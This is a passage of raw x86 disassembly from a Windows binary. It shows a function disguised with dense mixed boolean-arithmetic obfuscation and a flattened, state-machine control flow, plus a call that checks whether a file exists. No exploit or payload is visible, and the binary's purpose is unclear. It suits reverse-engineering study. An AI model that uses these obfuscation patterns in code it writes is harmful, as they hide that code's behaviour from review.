mov dword [ebp - 0x58], eax
mov ebx, edi
and ebx, 0xe2bb1881
mov eax, esi
and eax, 0x22cac19c
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x58]
or ecx, eax
mov eax, dword [ebp - 0x54]
or ebx, eax
mov eax, dword [ebp - 0x44]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xe2bb1881
and edx, esi
or ecx, edx
and ecx, 0xe84ed339
mov edx, ecx
xor edx, 0x39e13f49
mov esi, 0xffffffff
xor esi, 0x39e13f49
and ecx, esi
shl ecx, 1
sub ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x901dcb96
mov edi, 0xffffffff
xor edi, 0x901dcb96
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x901dcb96
or ecx, 0x901dcb96
imul ecx, esi
add ecx, edx
mov esi, ecx
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
mov ecx, 0x868dda4e
or ecx, 0x868dda4e
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
sub esi, 0x90d32df7
sub esi, 0xd341e0d5
add esi, 0x90d32df7
and esi, 0xa06e5988
mov ecx, esi
and ecx, 0xd19ece5
shl ecx, 1
add esi, 0xd19ece5
sub esi, ecx
mov edx, 0xffffffff
xor edx, 0x41f28d16
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0x41f28d16
add esi, edx
sub esi, ecx
sub esi, 0xbcc15c8d
sub esi, 0x7bd146d5
add esi, 0xbcc15c8d
add esi, 0xb1e4ab68
mov ecx, 0xffffffff
xor ecx, 0x26734e4a
add esi, ecx
add esi, 1
sub esp, 4
mov dword [esp], eax
call fcn.101b3ee4
add esp, 4
mov eax, dword [ebp - 0x1c]
mov ecx, 0x5fec2697
mov edx, 0x51ebef95
cmp esi, 0x3e31f2f5
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x5e6a9468
jmp 0x1010caac
mov ecx, dword [0x101cefdc]
add ecx, dword [0x101cefe0]
mov eax, ecx
xor eax, 0xfb9c3dd3
xor eax, 0xffffffff
or ecx, 0xfb9c3dd3
and ecx, eax
xor ecx, 0xb694337a
sub ecx, 0xe8ecd6e2
add ecx, 0xf5a92e7b
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xaaf45da2
mov esi, 0xffffffff
xor esi, 0xaaf45da2
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xaaf45da2
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0xfec8228e
shl ecx, 1
xor eax, 0xfec8228e
add eax, ecx
imul eax, eax, 0x9d0a4115
mov esi, 0xffffffff
xor esi, 0xa745eb90
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa745eb90
or eax, 0xa745eb90
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x5c], ecx
mov esi, 0xffffffff
xor esi, 0x75134aef
mov edx, 0xffffffff
xor edx, 0x78525718
and ecx, 0x78525718
and eax, edx
mov edi, esi
and edi, 0x78525718
mov ebx, edx
and ebx, 0x75134aef
or ecx, eax
mov eax, dword [ebp - 0x5c]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x78525718
and eax, edx
or ecx, eax
or ecx, 0x6aae32d7
and ecx, 0x16572d3e
xor ecx, 0x989bbdbe
add ecx, 0xa8a5e10e
or ecx, 0x633d942c
add ecx, 0xc75700bb
add ecx, 0xadce75fa
sub ecx, 0xf5118c60
sub ecx, 0xadce75fa
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x10e5430f
mov edx, 0xffffffff
xor edx, 0x10e5430f
and ecx, edx
or eax, ecx
add eax, 0x322f8a85
add eax, 0xc02b818c
sub eax, 0x322f8a85
sub eax, 0x800dcb59
mov ecx, 0x728daef1
xor edx, edx
div ecx
and eax, 0xb591e5b9
add eax, 0xddc9434f
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x34ef0e8c
mov edx, 0xffffffff
xor edx, 0x34ef0e8c
and eax, edx
or ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x315edd9e
or eax, edx
mov edx, 0xffffffff
xor edx, 0x315edd9e
mov esi, 0xffffffff
xor esi, 0x315edd9e
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
or eax, 0xc0257ed5
mov ecx, 0x13d76252
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x8797b644
mov edx, 0xffffffff
xor edx, 0x8797b644
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
sub eax, 0x2daeb26d
sub eax, 0xd4952b88
add eax, 0x2daeb26d
mov ecx, eax
xor ecx, 0x247ae2f1
xor ecx, 0xffffffff
and ecx, 0x247ae2f1
shl ecx, 1
sub ecx, 0x247ae2f1
sub eax, ecx
mov ecx, 0x66cec9a
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, ecx
or edx, edx
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x27b9d64f
mov edi, 0xffffffff
xor edi, 0x27b9d64f
and esi, edi
or edx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x27b9d64f
and ecx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
and edx, ecx
mov esi, 0xffffffff
xor esi, 0x56d1e3c1
mov ecx, edx
xor ecx, esi
and ecx, edx
add ecx, 0xc0ea0295
mov edx, ecx
xor edx, 0xc9304bba
xor edx, 0xffffffff
or ecx, 0xc9304bba
and ecx, edx
add ecx, 0xf75ce130
sub ecx, 0xe5f5765a
sub ecx, 0xf75ce130
mov edx, ecx
xor edx, 0xffffffff
mov esi, ecx
xor esi, 0xffffffff
or edx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x74861532
or edx, esi
mov esi, 0xffffffff
xor esi, 0x74861532
mov edi, 0xffffffff
xor edi, 0x74861532
or esi, edi
and ecx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
add edx, 0x2b443230
add edx, 0xe7c9085e
sub edx, 0x2b443230
mov esi, 0xffffffff
xor esi, 0x387ab46f
mov ecx, edx
and ecx, esi
mov esi, edx
xor esi, 0x387ab46f
add edx, esi
sub edx, ecx
mov ecx, edx
or ecx, 0xf5aa4329
xor ecx, 0xffffffff
or edx, 0xf5aa4329
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
imul esi, ecx, 0x51f6f086
mov ecx, 0x4864d385
mov edx, 0x78d1a032
cmp esi, 0xea63f1ec
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cefe4]
mov edx, dword [0x101cefe8]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
or eax, 0xd6d9c2c1
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0x617bf41
or eax, 0x617bf41
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
or ecx, 0x1bcda5b5
and ecx, 0xf29832b8
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6b8ebc57
and eax, edx
or ecx, 0x6b8ebc57
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x2b593bca
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x348c9e5
or eax, edx
mov edx, 0x348c9e5
and edx, 0x348c9e5
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x8c965aef
xor ecx, 0xffffffff
and ecx, 0x8c965aef
shl ecx, 1
sub ecx, 0x8c965aef
sub eax, ecx
mov ecx, 0xfc8009ea
xor edx, edx
div ecx
add eax, 0x541a26ca
add eax, 0xcb2bff1a
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x55ef01b9
add eax, ecx
xor ecx, ecx
sub ecx, 0x9dcf5579
sub eax, ecx
mov ecx, eax
xor ecx, 0x1317b59f
mov edx, 0xffffffff
xor edx, 0x1317b59f
and eax, edx
shl eax, 1
sub eax, ecx
and eax, 0x7ee5b7c6
mov ecx, 0x86c986c6
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xef494467
mov esi, 0xffffffff
xor esi, 0xef494467
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xef494467
or ecx, 0xef494467
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x14eca631
shl eax, 1
xor ecx, 0x14eca631
add ecx, eax
mov eax, ecx
or eax, 0xd15f36b8
xor eax, 0xffffffff
or ecx, 0xd15f36b8
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xd225e273
mov esi, 0xffffffff
xor esi, 0xcb943bd4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xcb943bd4
or eax, 0xcb943bd4
imul eax, edx
add eax, ecx
add eax, 0xf7f9f55a
add eax, 0xb82d0a05
sub eax, 0xf7f9f55a
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xac4a5155
mov esi, 0xffffffff
xor esi, 0xac4a5155
and edx, esi
or ecx, edx
xor ecx, 0xffffffff
or eax, 0xac4a5155
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xd04cec06
mov edx, 0xffffffff
xor edx, 0xd04cec06
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xe9054c73
add ecx, eax
or ecx, 0x67a723ce
mov esi, 0xffffffff
xor esi, 0x44dd3a23
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x44dd3a23
or ecx, 0x44dd3a23
imul ecx, edx
add ecx, eax
and ecx, 0xb27356d0
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x60cb4074
or edx, 0x60cb4074
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x60cb4074
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xa76726f7
mov ecx, eax
xor ecx, 0xae98d93c
xor ecx, 0xffffffff
or eax, 0xae98d93c
and eax, ecx
sub eax, 0xdda7c916
sub eax, 0xf15bfbae
add eax, 0xdda7c916
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe5487a02
mov edx, 0xffffffff
xor edx, 0xe5487a02
and eax, edx
sub eax, ecx
mov ecx, 0x387f4e1c
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x44]
or esi, 0xef8e04af
and esi, 0x67c2df33
add esi, 0x698ae94
or esi, 0xce587fe1
add esi, 0x3273d1a8
and esi, 0x8d8a3d91
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [ebp - 0x48]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
cmp dword [ecx], 0xffffffff
setne cl
mov byte [ebp - 0x5d], cl
mov ecx, 0xb19f41c1
mov edx, 0x4864d385
cmp esi, 0xd1d166cf
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cefec]
mov edx, dword [0x101ceff0]
mov ecx, eax
xor ecx, edx
xor ecx, 0xffffffff
or eax, edx
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0x77fb628
mov esi, 0xffffffff
xor esi, 0x77fb628
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0x77fb628
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0x7a3f3caf
xor eax, 0xffffffff
or ecx, 0x7a3f3caf
and ecx, eax
add ecx, 0x6f8b202d
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x15a59db0
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x15a59db0
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5dadc638
mov ecx, 0xffffffff
xor ecx, 0x439302a0
or eax, edx
or ecx, 0x439302a0
xor eax, 0xffffffff
and eax, ecx
sub eax, 0xdcd989fb
mov ecx, 0xe8344e6c
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x9371559a
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x91cd145
mov ecx, 0xffffffff
xor ecx, 0x68372b3a
or eax, edx
or ecx, 0x68372b3a
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x3642a457
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x1eac7f5
xor ecx, 0xffffffff
add eax, 0x1eac7f5
add eax, 1
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x7ea5575f
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x7ea5575f
add eax, edx
sub eax, ecx
mov ecx, 0x6aeb003e
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0xa79bdaa3
add ecx, edx
xor edx, edx
sub edx, ecx
mov esi, edx
xor esi, 0xffffffff
and esi, 0x74360aff
mov edi, 0xffffffff
xor edi, 0x74360aff
mov ecx, edx
and ecx, edi
imul ecx, esi
mov esi, edx
and esi, 0x74360aff
or edx, 0x74360aff
imul edx, esi
add edx, ecx
add edx, 0xed9734bf
mov ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0xac5f741
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xac5f741
mov edi, 0xffffffff
xor edi, 0xac5f741
or esi, edi
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
add ecx, 0xf12ea344
sub ecx, 0x780bba6b
imul edx, ecx, 0x8469af21
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x1317c59f
mov esi, 0xffffffff
xor esi, 0x1317c59f
and edx, esi
or ecx, edx
mov edx, ecx
and edx, 0x1ddb31da
xor edx, 0xffffffff
add ecx, 0x1ddb31da
add ecx, 1
add ecx, edx
and ecx, 0xce6cd9d
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0xf4038b6b
add edx, ecx
xor ecx, ecx
sub ecx, edx
xor ecx, 0xcc632000
sub ecx, 0xc9df1d07
add ecx, 0x35f89ac
add ecx, 0xfb2b651a
sub ecx, 0x35f89ac
mov edx, ecx
xor edx, 0xbba3d689
mov esi, 0xffffffff
xor esi, 0xbba3d689
and ecx, esi
shl ecx, 1
sub ecx, edx
xor ecx, 0x4c5ce7b2
imul ecx, ecx, 0x56bb36b1
mov edx, 0xffffffff
xor edx, 0xfe125236
add ecx, edx
add ecx, 1
or ecx, 0xc3b709d5
mov edi, 0xffffffff
xor edi, 0xc74b40d9
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0xc74b40d9
or ecx, 0xc74b40d9
imul ecx, esi
add ecx, edx
or ecx, 0xe3e97244
add ecx, 0xf348985f
xor ecx, 0xe9702a11
imul esi, ecx, 0x5d3553dd
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x45e2b19e
mov ecx, 0xffffffff
xor ecx, 0xc206098e
or esi, edx
or ecx, 0xc206098e
xor esi, 0xffffffff
and esi, ecx
or esi, 0x4844d94e
mov ecx, esi
add ecx, 1
xor esi, 0xffffffff
or esi, 0x7930e723
add esi, ecx
mov ecx, 0x579a5c0d
mov edx, 0x495d2f42
cmp esi, 0x4affc8c0
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101ceff4]
mov edx, dword [0x101ceff8]
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf23fce17
or eax, edx
or ecx, 0xf23fce17
xor eax, 0xffffffff
and eax, ecx
xor eax, 0x1035cdd7
imul eax, eax, 0x125c6dbd
add eax, 0x8baa8a87
and eax, 0xcce66117
mov edx, 0xffffffff
xor edx, 0xa7a1d947
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xa7a1d947
add eax, edx
sub eax, ecx
mov ecx, 0x7b772373
xor edx, edx
div ecx
add eax, 0x440eab85
mov ecx, eax
xor ecx, 0x5bba1b35
xor ecx, 0xffffffff
or eax, 0x5bba1b35
and eax, ecx
xor ecx, ecx
sub ecx, 0x59c809f1
sub eax, ecx
imul eax, eax, 0x5a0be275
sub eax, 0x9720cbea
sub eax, 0xec89aab5
add eax, 0x9720cbea
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x52c9acc3
mov edx, 0xffffffff
xor edx, 0x52c9acc3
and eax, edx
or ecx, eax
add ecx, 0x1b2b44c6
mov eax, ecx
and eax, 0xf472a00a
or ecx, 0xf472a00a
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xfedc17d4
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0xc576501e
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xa6367b3
and ecx, 0x41dc4fa9
mov esi, 0xffffffff
xor esi, 0x28053a58
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x28053a58
or ecx, 0x28053a58
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xaaf72835
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xaaf72835
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
sub eax, 0x23e33a06
sub eax, 0xa2a403d2
add eax, 0x23e33a06
mov ecx, 0x4bdcce13
xor edx, edx
div ecx
xor eax, 0x8b610cf5
imul eax, eax, 0x2b7415f3
add eax, 0x67e3dcc8
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9f4dad8b
mov esi, 0xffffffff
xor esi, 0x9f4dad8b
and edx, esi
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9f4dad8b
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
sub ecx, 0x129a5d54
sub ecx, 0xa22ab447
add ecx, 0xf9f1b4e0
add ecx, 0xa22ab447
add ecx, 0xa1d66dde
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x39cfd66e
mov edx, 0xffffffff
xor edx, 0x39cfd66e
and ecx, edx
or eax, ecx
imul eax, eax, 0x578f7e12
imul esi, eax, 0xa109449c
mov eax, esi
xor eax, 0xffffffff
and eax, 0x12f2561a
mov edx, 0xffffffff
xor edx, 0x12f2561a
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x3aca151f
and ecx, 0x12f2561a
and edx, 0x3aca151f
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x5e3c5746
add eax, ecx
add eax, 1
mov ecx, eax
xor ecx, 0xde14bf29
mov edx, 0xffffffff
xor edx, 0xde14bf29
and eax, edx
shl eax, 1
sub eax, ecx
or eax, 0x2f979d22
sub eax, 0x7281ad97
xor eax, 0x30093bcb
mov ecx, 0x41f1e433
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, esi
xor ecx, 0x85d614a5
xor ecx, 0xffffffff
or esi, 0x85d614a5
and esi, ecx
mov ecx, 0x113d90f4
mov edx, 0x579a5c0d
cmp esi, 0xa373edfe
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x5d]
mov ecx, 0x5e6a9468
mov edx, 0x87ac3e16
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101ceffc]
sub eax, dword [0x101cf000]
mov esi, 0xffffffff
xor esi, 0xc7833823
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc7833823
or eax, 0xc7833823
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x8c906533
xor ecx, 0xffffffff
add eax, 0x8c906533
add eax, 1
add eax, ecx
and eax, 0x3ffba729
mov ecx, eax
xor ecx, 0xdcdcf7ed
mov edx, 0xffffffff
xor edx, 0xdcdcf7ed
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x3f147360
mov ecx, eax
and ecx, 0x3c6e04a6
shl ecx, 1
add eax, 0x3c6e04a6
sub eax, ecx
imul eax, eax, 0x77103ed5
or eax, 0x79d91866
imul eax, eax, 0xcee5e88b
add eax, 0xdbbbcbb0
mov ecx, 0xee4b78c9
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x528c8356
mov esi, 0xffffffff
xor esi, 0x528c8356
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x528c8356
or eax, 0x528c8356
imul eax, edx
add eax, ecx
mov ecx, 0xed1e5ef3
xor edx, edx
div ecx
imul eax, eax, 0xba233224
mov ecx, 0xd321fe66
xor edx, edx
div ecx
sub eax, 0x23a4e3f9
sub eax, 0x27ecb9c
add eax, 0x23a4e3f9
add eax, 0x9152db45
add eax, 0xca0791a2
sub eax, 0x9152db45
xor eax, 0xef1e6681
mov ecx, 0x3ac8dbde
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xacb30c9e
mov ecx, 0xffffffff
xor ecx, 0x5fbfe4ba
or eax, edx
or ecx, 0x5fbfe4ba
xor eax, 0xffffffff
and eax, ecx
or eax, 0xfa0596f3
and eax, 0x98de1620
and eax, 0xc8be53fd
xor eax, 0xab041728
sub eax, 0x661e5c7c
mov ecx, eax
xor ecx, 0xadf98aca
xor ecx, 0xffffffff
or eax, 0xadf98aca
and eax, ecx
imul ecx, eax, 0xe04916e0
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x193a4c37
mov edx, 0xffffffff
xor edx, 0x193a4c37
and ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xef508b81
mov edx, 0xffffffff
xor edx, 0xef508b81
and ecx, edx
shl ecx, 1
sub ecx, eax
xor ecx, 0x6794b998
xor eax, eax
sub eax, 0xcee675a5
sub ecx, eax
sub ecx, 0x647b3496
sub ecx, 0x265fa561
add ecx, 0x647b3496
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xba9e1bea
or eax, 0xba9e1bea
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
and ecx, 0x8f40d79
mov eax, ecx
or eax, 0xb7eacfad
xor eax, 0xffffffff
or ecx, 0xb7eacfad
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xa45ba0ce
xor edx, edx
div ecx
mov ecx, 0x29f32122
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 0x7a7c9162
xor edx, 0x7a7c9162
or ecx, edx
imul esi, ecx, 0x604b8fcd
or esi, 0xf2fd6308
mov ecx, 0xd2c50d18
mov edx, 0x56da7a51
cmp esi, 0x87b4dd1f
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf004]
sub eax, dword [0x101cf008]
add eax, 0xb89ac604
add eax, 0x9dda66
add eax, 0xaad8f1ea
xor eax, 0x12010b91
xor eax, 0xf3e61d42
add eax, 0x8f6d4ac2
add eax, 0xb891c2c3
mov esi, 0xffffffff
xor esi, 0xb40beb1c
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb40beb1c
or eax, 0xb40beb1c
imul eax, edx
add eax, ecx
sub eax, 0x7d4f1c46
xor eax, 0x74ed5f8f
and eax, 0x44a8cf1a
and eax, 0x386c238d
mov ecx, 0x3057aae2
xor edx, edx
div ecx
add eax, 0x3fafde45
mov edx, eax
xor edx, 0xffffffff
and edx, 0xc8166f01
mov esi, 0xffffffff
xor esi, 0xc8166f01
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xc8166f01
or eax, 0xc8166f01
imul eax, edx
add eax, ecx
or eax, 0x45949844
mov edx, eax
xor edx, 0xffffffff
and edx, 0x636c1500
mov esi, 0xffffffff
xor esi, 0x636c1500
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x636c1500
or eax, 0x636c1500
imul eax, edx
add eax, ecx
mov ecx, 0x8b81b366
xor edx, edx
div ecx
and eax, 0xb3390787
add eax, 0x6254da33
sub eax, 0xef1ae57a
sub eax, 0x6254da33
add eax, 0x82bc934d
sub eax, 0x5c888ae0
mov ecx, 0x3cf61e9f
xor edx, edx
div ecx
mov ecx, 0xe8ac0a13
xor edx, edx
div ecx
or eax, 0x66838aa7
mov ecx, eax
xor ecx, 0xe760d821
xor ecx, 0xffffffff
and ecx, 0xe760d821
shl ecx, 1
sub ecx, 0xe760d821
sub eax, ecx
mov ecx, eax
and ecx, 0xed1d444d
shl ecx, 1
xor eax, 0xed1d444d
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x8aa47c16
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x109c3d2d
sub eax, 0x5d630683
mov ecx, 0x9e953276
xor edx, edx
div ecx
xor eax, 0x1c2652cd
imul eax, eax, 0x3b280d13
mov ecx, 0xedc271d2
xor edx, edx
div ecx
mov ecx, 0x2c187076
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [ebp - 0x1c]
xor edi, 0xeaa0e478
xor edi, 0xfa71d6e3
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x4aec1c6e
mov esi, 0xffffffff
xor esi, 0x4aec1c6e
and edi, esi
mov edx, 0xffffffff
xor edx, 0x2521132b
and edx, 0x4aec1c6e
and esi, 0x2521132b
or ecx, edi
or edx, esi
xor ecx, edx
or ecx, 0x79bc1730
imul esi, ecx, 0xf2507bdc
mov ecx, 0x4212cfba
mov edx, 0x56da7a51
cmp esi, 0xc401d931
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf00c]
mov edx, dword [0x101cf010]
mov ecx, eax
xor ecx, edx
xor ecx, 0xffffffff
or eax, edx
and eax, ecx
sub eax, 0x5909e261
mov ecx, 0xdf38331b
xor edx, edx
div ecx
and eax, 0xa49d18cb
mov ecx, eax
and ecx, 0xbeff7eec
shl ecx, 1
xor eax, 0xbeff7eec
add eax, ecx
mov ecx, eax
and ecx, 0x8cf9dce8
shl ecx, 1
add eax, 0x8cf9dce8
sub eax, ecx
mov ecx, 0x3f1fe163
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xa1c24d6f
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x3676db97
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
and eax, 0xfdfd26f9
xor ecx, 0xfdfd26f9
or eax, ecx
and eax, 0xe49ac30
sub eax, 0x39094ad7
mov esi, 0xffffffff
xor esi, 0x3297c503
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3297c503
or eax, 0x3297c503
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9318431f
mov edx, 0xffffffff
xor edx, 0x9318431f
and eax, edx
sub eax, ecx
mov ecx, 0xcbededda
xor edx, edx
div ecx
mov ecx, 0x3bfb1b35
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xf57be6e2
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf57be6e2
or eax, 0xf57be6e2
imul eax, edx
add eax, ecx
add eax, 0x48ee5153
sub eax, 0xb8905e53
sub eax, 0x48ee5153
mov esi, 0xffffffff
xor esi, 0xe3b7dc08
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
